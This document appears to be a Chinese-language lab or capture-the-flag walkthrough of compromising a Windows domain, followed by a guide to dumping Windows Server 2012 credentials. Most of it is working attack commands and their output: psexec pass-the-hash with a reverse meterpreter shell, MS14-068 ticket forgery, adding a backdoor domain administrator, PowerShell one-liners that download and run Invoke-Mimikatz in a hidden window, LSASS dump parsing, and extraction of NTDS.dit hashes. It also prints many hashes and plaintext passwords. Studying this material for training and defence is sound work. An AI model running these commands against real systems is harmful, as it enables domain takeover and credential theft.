[!] Loaded x86 Mimikatz on an x64 architecture.
success.
我们有一个meterpreter shell，并dump了Windows用户哈希。 当我们使用mimikatz时，它向我们展示了“在x64架构上加载x86
Mimikatz”。 目标是Windows 2008 x64，并且需要x64 meterpreter shell.
散列在这里，我们可以使用exploit/windows/smb/psexec来exploit目标。
msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- ----------- RHOST 10.1.222.200 yes The target address
RPORT 445 yes Set the SMB service port
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e no The password for the specified username
SMBUser administrator no The username to authenticate as
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none)
LHOST 10.255.254.23 yes The listen address
LPORT 8090 yes The listen port
Exploit target:
Id Name
-- ---- 0 Automatic
msf exploit(psexec) > run
[*] Started reverse handler on 10.255.254.23:8090
[*] Connecting to the server...
[*] Authenticating to 10.1.222.200:445|WORKGROUP as user 'administrator'...
[*] Uploading payload...
[*] Created \kNXUXXOu.exe...
[+] 10.1.222.200:445 - Service started successfully...
[*] Sending stage (1105970 bytes) to 10.1.222.200
[*] Deleting \kNXUXXOu.exe...
[*] Meterpreter session 2 opened (10.255.254.23:8090 -> 10.1.222.200:56977) at 2015-09-08 13:41:18 +0000
meterpreter > load mimikatz
Loading extension mimikatz...meterpreter >
BINGO !
#### 10.1.222.201
使用Administrator / 6GbA6Crdw访问10.1.222.201。 在管理员的桌面上，这里是一个mstsc客户端。
C:\Users\Desktop\Administrator\mstsc
**MS14-068**
用ms14-068升级 Windows域管理员权限。 我们需要从10.1.222.200访问10.1.222.201。
msf exploit(psexec) > route add 10.1.222.201 255.255.255.255 2
会话1是x86 meterpreter shell，会话2是x64 meterpreter shell。 Pwn
10.1.222.201与exploit/windows/smb/psexec再次如下。
msf exploit(psexec) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ---------- 1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ DATABASE 10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200)
2 meterpreter x64/win64 NT AUTHORITY\SYSTEM @ DATABASE 10.255.254.23:8090 -> 10.1.222.200:56977 (10.1.222.200)
3 meterpreter x64/win64 NT AUTHORITY\SYSTEM @ MASTER 10.255.254.23-10.1.222.200:0 -> 10.1.222.201:8090 (10.1.222.201)
我们需要从10.1.222.201访问Windows DC - 10.1.222.202。 利用ms14-068渗透Windows DC：
msf auxiliary(ms14_068_kerberos_checksum) > show options
Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):
Name Current Setting Required Description
---- --------------- -------- ----------- DOMAIN PENTEST.COM yes The Domain (upper case) Ex: DEMO.LOCAL
PASSWORD file:/tmp/pass.txt yes The Domain User password
RHOST 10.1.222.202 yes The target address
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER MASTER yes The Domain User
USER_SID S-1-5-21-30580861-1793299886-3410204933-1008 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
msf auxiliary(ms14_068_kerberos_checksum) > run
[*] Validating options...
[*] Using domain PENTEST.COM...
[*] 10.1.222.202:88 - Sending AS-REQ...
[!] 10.1.222.202:88 - KDC_ERR_PREAUTH_FAILED - Pre-authentication information was invalid
[-] 10.1.222.202:88 - Invalid AS-REP, aborting...
[*] Auxiliary module execution completed
C:\Windows\system32>wmic useraccount get name,sid
wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-30580861-1793299886-3410204933-500
Guest S-1-5-21-30580861-1793299886-3410204933-501
Administrator S-1-5-21-30580861-1793299886-3410204933-500
Guest S-1-5-21-30580861-1793299886-3410204933-501
krbtgt S-1-5-21-30580861-1793299886-3410204933-502
hanlei S-1-5-21-30580861-1793299886-3410204933-1110
ctfcx S-1-5-21-30580861-1793299886-3410204933-1111
metasploit无法利用MS14-068漏洞。 再次尝试pykek。
C:\Users\Administrator\Desktop\pykek-master>C:\Python27\python.exe ms14-068.py -u [email protected] -s S-1-5-21-30580861-1793299886-3410204933-1008 -d DC.PENTEST.COM
Password:
[+] Building AS-REQ for DC.PENTEST.COM... Done !
[+] Sending AS-REQ to DC.PENTEST.COM... Done!
[+] Receiving AS-REP from DC.PENTEST.COM... Done!
[+] Parsing AS-REP from DC.PENTEST.COM... Done!
[+] Building TGS-REQ for DC.PENTEST.COM... Done!
[+] Sending TGS-REQ to DC.PENTEST.COM... Done!
[+] Receiving TGS-REP from DC.PENTEST.COM... Done!
[+] Parsing TGS-REP from DC.PENTEST.COM... Done!
[+] Creating ccache file '[email protected]'... Done!
:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe
mimikatz.exe
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 16 modules * * */
mimikatz # kerberos::ptc [email protected]
Principal : (01) : MASTER ; @ PENTEST.COM
Data 0
Start/End/MaxRenew: 2015/9/8 22:55:52 ; 2015/9/9 8:55:52 ; 2015/9/15 22:55:52
Service Name (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM
Target Name (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM
Client Name (01) : MASTER ; @ PENTEST.COM
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
e42591d39858f8e3b0d16334351b692d
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK
mimikatz # exit
Bye!
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>klist
klist
��ǰ��¼ ID �� 0:0x3e7
������Ʊ֤: (1)
#0> �ͻ���: MASTER @ PENTEST.COM
������: krbtgt/PENTEST.COM @ PENTEST.COM
Kerberos Ʊ֤��������: RSADSI RC4-HMAC(NT)
Ʊ֤��־ 0x50a00000 -> forwardable proxiable renewable pre_authent
��ʼʱ��: 9/8/2015 22:55:52 (����)
����ʱ��: 9/9/2015 8:55:52 (����)
����ʱ��: 9/15/2015 22:55:52 (����)
�Ự��Կ����: RSADSI RC4-HMAC(NT)
hoho！ 我们得到域管理员权限。
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user /domain
net user /domain
�������������� pentest.com ����������������
\\DC.pentest.com ���û��ʻ�
------------------------------------------------------------------------------- Administrator ctfcx Guest
hanlei krbtgt
�����������ϣ�������һ�����������
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" /domain
net group "DOMAIN ADMINS" /domain
�������������� pentest.com ����������������
���� Domain Admins
ע�� ָ����������Ա
��Ա
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net use \\DC.PENTEST.COM\ipc$
net use \\DC.PENTEST.COM\ipc$
�����ɹ����ɡ�
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>dir \\DC.PENTEST.COM\c$\
dir \\DC.PENTEST.COM\c$\
������ \\DC.PENTEST.COM\c$ �еľ�û�б�ǩ��
��������� 403D-792F
\\DC.PENTEST.COM\c$ ��Ŀ¼
2015/08/19 10:25 <DIR> inetpub
2009/07/14 11:20 <DIR> PerfLogs
2015/08/13 14:58 <DIR> Program Files
2015/08/13 14:58 <DIR> Program Files (x86)
2015/09/08 09:20 <DIR> Users
2015/08/24 16:56 <DIR> Windows
0 ���ļ� 0 �ֽ
6 ��Ŀ¼ 25,048,915,968 �����ֽ
------------------------------------------------------------------------------- Administrator ctfcx
�����ɹ����ɡ�
#### Read Flags
C:\>klist
C:\>net use \\DC.pentest.com\admin$
C:\>net use k: \\DC.pentest.com\c$
C:\>type k:\file.sys
Flags 如下:
Hi dude, Congratulations!
You have my ass!!
this is the flag:4b329655c2275d7c956083dc899b1c89
Have a good day!
_Add A Domain Administrator_
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user demo pasPAS1234~ /add /domain
net user demo pasPAS1234~ /add /domain
�������������� pentest.com ����������������
�����ɹ����ɡ�
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" demo /add /domain
net group "DOMAIN ADMINS" demo /add /domain
�������������� pentest.com ����������������
�����ɹ����ɡ�
#### 10.1.222.202
用 demo/pasPAS1234~ `干掉` windows DC ：
meterpreter > ssp
[+] Running as SYSTEM
[*] Retrieving ssp credentials
ssp credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- -------- 0;996 Negotiate PENTEST DC$ lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478dca0 }
0;35844 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478dca0 }
0;145416 Kerberos PENTEST administrator lm{ 00000000000000000000000000000000 }, ntlm{ 68a02ebe899dcb737cefa52adc48cafd }
0;1278946 Negotiate PENTEST demo lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b40c }
0;1278920 Kerberos PENTEST demo lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b40c }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;999 Negotiate PENTEST DC$ n.s. (Credentials KO)
meterpreter > livessp
[+] Running as SYSTEM
[*] Retrieving livessp credentials
livessp credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- -------- 0;1278946 Negotiate PENTEST demo n.a. (livessp KO)
0;1278920 Kerberos PENTEST demo n.a. (livessp KO)
0;145416 Kerberos PENTEST administrator n.a. (livessp KO)
0;996 Negotiate PENTEST DC$ n.a. (livessp KO)
0;35844 NTLM n.a. (livessp KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.a. (livessp KO)
0;999 Negotiate PENTEST DC$ n.a. (livessp KO)
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- -------- 0;35844 NTLM
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;999 Negotiate PENTEST DC$ 77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da 08 a5 fc e8 57 f1 6f 78 66 d8 bf 60 fd fb 18 56 ea 1a f7 06 b8 fa fd 9a d7 1d 61 44 9a ee ea 81 57 73 b7 c2 1d d2 ba 6b bb ec f1 97 f1 26 1b fc 2e e6 a3 21 90 62 7b f1 5b 72 4e c2 43 cc 74 cb 98 f9 7f 74 66 4e 04 fa b1 a4 71 4e 69 50 37 bc 3e 7b 8f 25 75 10 01 8e aa 99 62 72 96 e7 69 66 24 b4 57 a6 ce 49 cb b3 8e a0 fa e7 c2 05 d8 cb b1 55 07 2f 34 6e b9 de ae 4e 5d 98 d2 6f 56 56 0a 8e 6f 99 d2 d0 cf 2c 19 70 d9 2a 49 ba 49 8f 77 bf 15 85 74 a2 98 e4 99 df d4 3d 1c d4 35 c6 3b 0c 84 d7 e8 48 bf 0b 5b 62 b8 e5 0b 42 cd 5b 17 5f d9 13 9c 1e 5e 0c 44 d5 00 83 3b 5f f9 83 66 98 6d 6a e5 15 8f 27 35 82 bc 2e 52 e5 59 a2 17 5c 09 5a a9 56 a0
0;996 Negotiate PENTEST DC$ 77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da 08 a5 fc e8 57 f1 6f 78 66 d8 bf 60 fd fb 18 56 ea 1a f7 06 b8 fa fd 9a d7 1d 61 44 9a ee ea 81 57 73 b7 c2 1d d2 ba 6b bb ec f1 97 f1 26 1b fc 2e e6 a3 21 90 62 7b f1 5b 72 4e c2 43 cc 74 cb 98 f9 7f 74 66 4e 04 fa b1 a4 71 4e 69 50 37 bc 3e 7b 8f 25 75 10 01 8e aa 99 62 72 96 e7 69 66 24 b4 57 a6 ce 49 cb b3 8e a0 fa e7 c2 05 d8 cb b1 55 07 2f 34 6e b9 de ae 4e 5d 98 d2 6f 56 56 0a 8e 6f 99 d2 d0 cf 2c 19 70 d9 2a 49 ba 49 8f 77 bf 15 85 74 a2 98 e4 99 df d4 3d 1c d4 35 c6 3b 0c 84 d7 e8 48 bf 0b 5b 62 b8 e5 0b 42 cd 5b 17 5f d9 13 9c 1e 5e 0c 44 d5 00 83 3b 5f f9 83 66 98 6d 6a e5 15 8f 27 35 82 bc 2e 52 e5 59 a2 17 5c 09 5a a9 56 a0
0;145416 Kerberos PENTEST administrator This is long Password!@#
0;1278920 Kerberos PENTEST demo pasPAS1234~
0;1278946 Negotiate PENTEST demo pasPAS1234~
### How-to-dump-windows2012-credentials
#### SYSVOL和组策略首选项中的密码
这种方法是最简单的，因为不需要特殊的 _黑客_ 工具。 攻击者所要做的就是打开Windows资源管理器，搜索XML文件的SYSVOL DFS共享域。
大多数情况下，以下XML文件将包含凭据：groups.xml，scheduledtasks.xml和＆Services.xml。
SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。
SYSVOL包含登录脚本，组策略数据和其他域控制器数据，这些数据在任何有域控制器的地方都可用（因为SYSVOL是在所有域控制器之间自动同步和共享的）。
所有域组策略都存储在这里：`\\SYSVOL<DOMAIN>\Policies\`
当创建一个新的GPP时，会在SYSVOL中创建一个关联的XML文件以及相关的配置数据，如果提供了密码，那么它是AES-256位加密的，应该足够强。
除了2012年之前，微软在MSDN上发布了AES加密密钥（共享密钥），可以用来解密密码。
由于经过身份验证的用户（任何域用户或受信任域中的用户）具有对SYSVOL的读取权限，因此域中的任何人都可以搜索SYSVOL共享中包含`cpassword`的XML文件，该密码是包含AES加密密码的值。
通过访问这个XML文件，攻击者可以使用AES私钥解密GPP密码。 PowerSploit函数`Get-GPPPassword`对于组策略首选项开发非常有用。
这里的屏幕截图显示了一个类似的PowerShell函数，它可以从SYSVOL中的XML文件中加密GPP密码。
PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1")
PS C:\Users\Administrator\Desktop> Get-GPPPassword
msf post(gpp) > show options
Module options (post/windows/gather/credentials/gpp):
Name Current Setting Required Description
---- --------------- -------- ----------- ALL true no Enumerate all domains on network.
DOMAINS THEGEEKSTUFF no Enumerate list of space seperated domains DOMAINS="dom1 dom2".
SESSION 1 yes The session to run this module on.
STORE true no Store the enumerated files in loot.
msf post(gpp) > run
[*] Checking for group policy history objects...
[-] Error accessing C:\ProgramData\Microsoft\Group Policy\History : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Checking for SYSVOL locally...
[+] SYSVOL Group Policy Files found locally
[*] Enumerating the user supplied Domain(s): THEGEEKSTUFF...
[*] Enumerating DCs for THEGEEKSTUFF on the network...
[-] ERROR_NO_BROWSER_SERVERS_FOUND
[-] No Domain Controllers found for THEGEEKSTUFF
[*] Searching for Group Policy XML Files...
[*] Post module execution completed
metasploit-framework [rapid7-master] ->> ./tools/password/cpassword_decrypt.rb j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
[+] The decrypted AES password is: Local*P4ssword!
要么
你也可以用[gpp_password_decrypt.py](https://github.com/nixawk/python-programming/blob/master/crypto/gpp_password_decrypt.py)来做。
#### Dump credentials with Invoke-Mimikatz
Invoke-Mimikatz应该能够通过安装了PowerShell v2或更高版本的Windows 8.1从任何版本的Windows dump 凭据。
PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
PS C:\Users\Administrator\Desktop> Invoke-Mimikatz
or
C:\Windows\system32> powershell.exe -exec bypass -windows hidden -c IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1");Invoke-Mimikatz
#### 使用任务管理器（获取域管理员凭据）dump LSASS内存
一旦LSASS被dump，Mimikatz可以被用来从另一个系统上的LSASS.dmp文件中提取已登录的凭据。 在域控制器上，这几乎都是域管理员的凭据。
PS C:\Users\Administrator\Desktop\MimikatzX64> .\mimikatz.exe
.#####. mimikatz 2.1 (x64) built on Oct 29 2016 21:27:40
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz # sekurlsa::minidump C:\Users\Administrator\Desktop\lsass.DMP
Switch to MINIDUMP : 'C:\Users\Administrator\Desktop\lsass.DMP'
mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Users\Administrator\Desktop\lsass.DMP' file for minidump...
Authentication Id : 0 ; 391874 (00000000:0005fac2)
Session : Interactive from 1
User Name : Administrator
Domain : THEGEEKSTUFF
Logon Server : SERVER
Logon Time : 2016/11/5 12:08:54
SID : S-1-5-21-2783134295-2946968820-3756090084-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : THEGEEKSTUFF
* NTLM : fc1fc80e9f128261a6bc463cb31e65b5
* SHA1 : 9fb867ff5ae033514134f54b5bacfa209d135125
[00010000] CredentialKeys
* NTLM : fc1fc80e9f128261a6bc463cb31e65b5
* SHA1 : 9fb867ff5ae033514134f54b5bacfa209d135125
tspkg :
wdigest :
* Username : Administrator
* Domain : THEGEEKSTUFF
* Password : (null)
kerberos :
* Username : Administrator
* Domain : THEGEEKSTUFF.COM
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 66164 (00000000:00010274)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2016/11/5 12:07:53
SID : S-1-5-90-1
msv :
[00000003] Primary
* Username : SERVER$
* Domain : THEGEEKSTUFF
* NTLM : 708faf9c9842a10735ecab33cc64ed37
* SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce
tspkg :
wdigest :
* Username : SERVER$
* Domain : THEGEEKSTUFF
* Password : (null)
kerberos :
* Username : SERVER$
* Domain : thegeekstuff.com
* Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1
aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f
9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7
2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff
27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1
52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7
8a 86 a9 c8 b8 ea c3
ssp : KO
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : SERVER$
Domain : THEGEEKSTUFF
Logon Server : (null)
Logon Time : 2016/11/5 12:07:53
SID : S-1-5-20
msv :
[00000003] Primary
* Username : SERVER$
* Domain : THEGEEKSTUFF
* NTLM : 708faf9c9842a10735ecab33cc64ed37
* SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce
tspkg :
wdigest :
* Username : SERVER$
* Domain : THEGEEKSTUFF
* Password : (null)
kerberos :
* Username : server$
* Domain : THEGEEKSTUFF.COM
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2016/11/5 12:07:54
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp : KO
credman :
Authentication Id : 0 ; 66429 (00000000:0001037d)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2016/11/5 12:07:53
SID : S-1-5-90-1
msv :
[00000003] Primary
* Username : SERVER$
* Domain : THEGEEKSTUFF
* NTLM : 708faf9c9842a10735ecab33cc64ed37
* SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce
tspkg :
wdigest :
* Username : SERVER$
* Domain : THEGEEKSTUFF
* Password : (null)
kerberos :
* Username : SERVER$
* Domain : thegeekstuff.com
* Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1
aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f
9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7
2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff
27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1
52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7
8a 86 a9 c8 b8 ea c3
ssp : KO
credman :
Authentication Id : 0 ; 44395 (00000000:0000ad6b)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2016/11/5 12:07:52
SID :
msv :
[00000003] Primary
* Username : SERVER$
* Domain : THEGEEKSTUFF
* NTLM : 708faf9c9842a10735ecab33cc64ed37
* SHA1 : 170fc50c1613bc049225066bba08514ac35f1bce
tspkg :
wdigest :
kerberos :
ssp : KO
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : SERVER$
Domain : THEGEEKSTUFF
Logon Server : (null)
Logon Time : 2016/11/5 12:07:52
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : SERVER$
* Domain : THEGEEKSTUFF
* Password : (null)
kerberos :
* Username : server$
* Domain : THEGEEKSTUFF.COM
* Password : (null)
ssp : KO
credman :
mimikatz # exit
Bye!
PS C:\Users\Administrator\Desktop\MimikatzX64>
#### 使用NTDSUtil(抓取NTDS.dit文件)创建从媒体安装（IFM）:
NTDSUtil是本地处理AD DB的命令实用程序（ntds.dit），并为DCPromo启用IFM集创建。
IFM与DCPromo一起用于`从媒体安装`，因此被升级的服务器不需要通过网络从另一个DC复制域数据。
IFM集是在此实例中在c:\temp中创建的NTDS.dit文件的副本。
这个文件可能会在一个共享上分享新的DC，或者可能在尚未推广的新服务器上找到。 此服务器可能无法正常保护。
C:\Users\Administrator>ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
ntdsutil: ac i ntds
活动实例设置为“ntds”。
ntdsutil: ifm
ifm: create full c:\temp
正在创建快照...
成功生成快照集 {03d7e751-8489-4bee-b7c1-fde165f87426}。
快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e} 已作为 C:\$SNAP_201611051210_VOLUMEC$\ 装载
已装载快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e}。
正在启动碎片整理模式...
源数据库: C:\$SNAP_201611051210_VOLUMEC$\Windows\NTDS\ntds.dit
目标数据库: c:\temp\Active Directory\ntds.dit
Defragmentation Status (% complete)
0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................
正在复制注册表文件...
正在复制 c:\temp\registry\SYSTEM
正在复制 c:\temp\registry\SECURITY
快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e} 已卸载。
在 c:\temp 中成功创建 IFM 媒体。
ifm: q
ntdsutil: q
#### 从NTDS.dit中提取hash
一旦攻击者拥有NTDS.dit文件的副本（以及某些注册表项来解密数据库文件中的安全元素），则可以提取Active Directory数据库文件中的凭据数据。
从NTDS.dit文件中提取密码哈希的一种方法是Impacket的secretsdump.py（Kali等）。
只需要DC注册表中的ntds.dit文件和System配置文件（这两个文件都具有从ntdsutil设置的从介质安装（IFM））。
$ git clone https://github.com/CoreSecurity/impacket/
$ cd impacket/examples/
$ secretsdump.py -system /home/seclab/windows-2012/ntds/registry/SYSTEM -security /home/seclab/windows-2012/ntds/registry/SECURITY -ntds /home/seclab/windows-2012/ntds/Active\ Directory/ntds.dit LOCAL
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies
[*] Target system bootKey: 0xb6570f7db706f37a5b79e72ab8c44b8a
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
0000 01 00 00 00 8F 04 A9 BA 67 3B 83 81 09 62 0E 80 ........g;...b..
0010 81 81 DB 99 FF 3E 7A F8 EE 80 BC 7F 8F C8 FA DE .....>z.........
0020 3D BE 24 6D 30 38 84 48 1A 5F B3 11 =.$m08.H._..
[*] NL$KM
0000 39 7B 96 FE 24 6D B9 58 44 A6 DF 78 77 F9 78 C9 9{..$m.XD..xw.x.
0010 72 F8 57 E6 C9 60 65 07 50 F5 EA 81 D7 5B A1 D2 r.W..`e.P....[..
0020 D3 46 E8 67 3F C1 C8 8C 44 91 EA 62 20 9E 5A 58 .F.g?...D..b .ZX
0030 E4 C1 25 24 4F 01 6F AF 88 04 5F 33 89 FE D5 1E ..%$O.o..._3....
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 0487dfc92c64213bdf39ca382d7baea8
[*] Reading and decrypting hashes from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc1fc80e9f128261a6bc463cb31e65b5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER$:1003:aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:23ed7e50c091488d46c46ca69b428979:::
wchen:1109:aad3b435b51404eeaad3b435b51404ee:fe72ec788d6739b4ac05033fecae793c:::
jhart:1110:aad3b435b51404eeaad3b435b51404ee:d491885ff154677f71291be4517d7177:::
SERVER2008$:1111:aad3b435b51404eeaad3b435b51404ee:db96a49b7ecf92cfd3a20b0c8048eef1:::
john:1112:aad3b435b51404eeaad3b435b51404ee:6944c3f3a4ad58896b5fdb55b29f4fdf:::
JOHN$:1113:aad3b435b51404eeaad3b435b51404ee:3926a5fc5b0eb8b373ebfc37d2f478d6:::
[*] Kerberos keys from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit
SERVER$:aes256-cts-hmac-sha1-96:cc03dbc4f30db35f8f2a3894f3dccea99207f6180db7c9f98a1a363f80986e22
SERVER$:aes128-cts-hmac-sha1-96:a43c9870cf2798fd86eb502391281df9
SERVER$:des-cbc-md5:b9ef3b08b55e8998
krbtgt:aes256-cts-hmac-sha1-96:f5f37669f8fe6b10a3b65dddf09f80f78b1ce1f351e47130adfb70aa81eeff82
krbtgt:aes128-cts-hmac-sha1-96:a3bea9e21a87976f582de5a9a4c6784a
krbtgt:des-cbc-md5:028adaf497028076
wchen:aes256-cts-hmac-sha1-96:c979d56fa938026e30ef8e8959ded691dcdc1abfb62c79e9061e42cb3ea5cd6f
wchen:aes128-cts-hmac-sha1-96:464ee4707eb40a19d833afe1e5be6244
wchen:des-cbc-md5:0be69b2ada3dbcf4
jhart:aes256-cts-hmac-sha1-96:d1bb033c02346050588ac074871f7c13be08952936d0443221de2af820181407
jhart:aes128-cts-hmac-sha1-96:dc6f858f75486dd03f9b88dd3a0cd41f
jhart:des-cbc-md5:895d10bf830d7961
SERVER2008$:aes256-cts-hmac-sha1-96:f88aa76cd58df5804762bcae3607a36566b299394622cd3a04e0f63baa179527
SERVER2008$:aes128-cts-hmac-sha1-96:ff258dfec8bfb3c0683eafb49799b943
SERVER2008$:des-cbc-md5:cb5e5e32dfa475b6
